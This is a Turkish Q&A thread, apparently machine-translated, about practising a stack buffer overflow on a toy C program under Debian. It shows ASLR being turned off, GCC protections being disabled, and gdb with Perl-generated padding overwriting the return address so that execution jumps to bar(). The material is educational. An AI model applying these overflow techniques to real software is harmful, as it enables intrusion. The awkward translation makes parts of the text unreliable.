2014-10-08 30 views
7

Şu anda arabellek taşması yapmayı öğrenmekle ilgileniyorum. Biraz montaj yaptım ve yığının nasıl çalıştığını ve nasıl bir tampon taşması yapacağımı anladım. Ancak, taşma yapmama izin vermek için GCC 4.9.1'i almaya çalışırken biraz sıkıntı yaşıyorum. uygun bir tampon. Debian Jessie'yi çalıştırıyorum. Bölüm 2.2'de, takip etmeye çalıştığım öğreticidirModern sistemdeki arabellek taşmalarını nasıl test edebilirim?

. Sağladığı C programını kopyaladım/yapıştırdım ve onunla aynı Perl betiğini kullanıyorum, bu yüzden her şey onun davasıyla tamamen aynı (elbette sistem dışında).

Bunlar sürekli alıyorum sonuçları şunlardır:

~/projects/buffer-overflow$ ls 
run.pl test.c 
~/projects/buffer-overflow$ sudo su 
[email protected]# echo "0" > /proc/sys/kernel/randomize_va_space 
[email protected]# exit 
exit 
~/projects/buffer-overflow$ gcc -m32 -fno-stack-protector -zexecstack test.c 
~/projects/buffer-overflow$ ./run.pl 
Address of foo = 0x804845b 
Address of bar = 0x80484a4 
My stack looks like: 
(nil) 
0xffffd4a8 
0xf7e58b2f 
0xf7fb3ac0 
0x8048657 
0xffffd494 

[email protected] 
Now the stack looks like: 
0xffffd718 
0xffffd4a8 
0xf7e58b2f 
0xf7fb3ac0 
0x42418657 
0x46454443 
+4

Yakın oyları anlamıyorum. Soru bana açık görünüyor ve kesinlikle programlama ile ilgili. – NPE

+1

Yığın "doğru" yazıldığından emin olmak için Perl komut dosyasıyla denemeden önce * uzun bir dizeyi * girmeyi denediniz mi? Gcc'in her sürümü, bu tür hilelere karşı yeni optimizasyonlar ve karşı önlemler getiriyor. Belki de -O ile deneyebilirsiniz. – LSerni

+1

@NPE. Bunun için de endişeleniyorum. Bana bir yasal ve kesişen soru gibi görünüyor. –

cevap

2

... Her şeyden

Birincisi, üzerine yazmak için gerekli bayt sayısının bilinmesi iade adresi. Biz GDB ve Perl ile yapabilirsiniz:

(gdb) run `perl -e 'print "A" x 26';` 
Address of foo = 0x804845b 
Address of bar = 0x80484a5 
My stack looks like: 
0xf7fb1000 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x8048647 
0xffffdaa8 

AAAAAAAAAAAAAAAAAAAAAAAAAA 
Now the stack looks like: 
0xffffdcbb 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x41418647 
0x41414141 


Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ??() 

Gördüğünüz gibi, bizim bar() işlevi adresi ile son dört "A" karakterlerini değiştirerek, EIP üzerine böylece edecek 26 bayt (unutma) küçük endian formatında koymak için, biz başarılı olacaktır: Gördüğünüz gibi

(gdb) run `perl -e 'print "A" x 22';``perl -e 'print "\xa5\x84\x04\x8"';` 
Address of foo = 0x804845b 
Address of bar = 0x80484a5 
My stack looks like: 
0xf7fb1000 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x8048647 
0xffffdaa8 

AAAAAAAAAAAAAAAAAAAAAA�� 
Now the stack looks like: 
0xffffdcbb 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x41418647 
0x41414141 

Augh! I've been hacked! 

Program received signal SIGSEGV, Segmentation fault. 
0xffffdc06 in ??() 

başarıyla bar çalışması döndü().

0

denemek istiyorum ya -fno-stack-protector-all ve diğer -O (-all ekleme)? bazı optimizasyonların bazı -fxxx üzerinde çalışmasına neden olur. Perl komut dosyası farklı sistemler farklı adresler kullanabilir, böylece el yazısı olmadan bunu sağlayacak burada özellikle yararlı değildir Yani

İlgili konular